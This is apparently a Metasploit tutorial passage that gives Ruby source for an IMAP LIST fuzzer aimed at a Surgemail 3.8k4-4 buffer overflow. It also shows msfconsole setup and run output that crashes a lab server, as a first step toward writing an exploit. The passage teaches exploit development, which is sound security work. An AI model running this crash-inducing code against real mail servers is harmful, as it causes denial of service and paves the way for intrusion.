Simple IMAP Fuzzer

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During a host reconnaissance session we discovered an IMAP Mail server which is known to be vulnerable to a buffer overflow attack (Surgemail 3.8k4-4). We found an advisory for the vulnerability but can't find any working exploits in the Metasploit database nor on the internet. We then decide to write our own exploit starting with a simple IMAP fuzzer.

From the advisory we do know that the vulnerable command is IMAP LIST and you need valid credentials to exploit the application. As we've previously seen, the big "library arsenal" present in MSF can help us to quickly script any network protocol and the IMAP protocol is not an exception. Including Msf::Exploit::Remote::Imap will save us a lot of time. In fact, connecting to the IMAP server and performing the authentication steps required to fuzz the vulnerable command, is just a matter of a single line command line! Here is the code for the IMAP LIST fuzzer:

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::Imap
    include Msf::Auxiliary::Dos

    def initialize
        super(
            'Name'           => 'Simple IMAP Fuzzer',
            'Description'    => %q{
                                An example of how to build a simple IMAP fuzzer.
                                Account IMAP credentials are required in this fuzzer.
                        },
            'Author'         => [ 'ryujin' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1 $'
        )
    end

    def fuzz_str()
        return Rex::Text.rand_text_alphanumeric(rand(1024))
    end

    def run()
        srand(0)
        while (true)
            connected = connect_login()
            if not connected
                print_status("Host is not responding - this is G00D ;)")
                break
            end
            print_status("Generating fuzzed data...")
            fuzzed = fuzz_str()
            print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
            req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
            print_status(req)
            res = raw_send_recv(req)
                if !res.nil?
            print_status(res)
                else
                    print_status("Server crashed, no response")
                    break
                end
            disconnect()
        end
    end
end

Overiding the run() method, our code will be executed each time the user calls "run" from msfconsole. In the while loop within run(), we connect to the IMAP server and authenticate through the function connect_login() imported from Msf::Exploit::Remote::Imap. We then call the function fuzz_str() which generates a variable size alphanumeric buffer that is going to be sent as an argument of the LIST IMAP command through the raw_send_recv function. We save the above file in the auxiliary/dos/windows/imap/ subdirectory and load it from msfconsole as it follows:

msf > use auxiliary/dos/windows/imap/fuzz_imap 
msf auxiliary(fuzz_imap) > show options 

Module options:

   Name      Current Setting  Required  Description                              
   ----      ---------------  --------  -----------                              
   IMAPPASS                   no        The password for the specified username  
   IMAPUSER                   no        The username to authenticate as          
   RHOST                      yes       The target address                       
   RPORT     143              yes       The target port                          

msf auxiliary(fuzz_imap) > set RHOST 172.16.30.7
RHOST => 172.16.30.7
msf auxiliary(fuzz_imap) > set IMAPUSER test
IMAPUSER => test
msf auxiliary(fuzz_imap) > set IMAPPASS test
IMAPPASS => test

We are now ready to fuzz the vulnerable IMAP server. We attach the surgemail.exe process from ImmunityDebugger and start our fuzzing session:

msf auxiliary(fuzz_imap) > run

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 684
[*] 0002 LIST () /"v1AD7DnJTVykXGYYM6BmnXL[...]" "PWNED"

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 225
[*] 0002 LIST () /"lLdnxGBPh1AWt57pCvAZfiL[...]" "PWNED"

[*] 0002 OK LIST completed

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1007
[*] 0002 LIST () /"FzwJjIcL16vW4PXDPpJV[...]gaDm" "PWNED"

[*] 
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Authentication failed
[*] Host is not responding - this is G00D ;)
[*] Auxiliary module execution completed

MSF tells us that the IMAP server has probably crashed and ImmunityDebugger confirms it as seen in the following image:

FUZZ01.png




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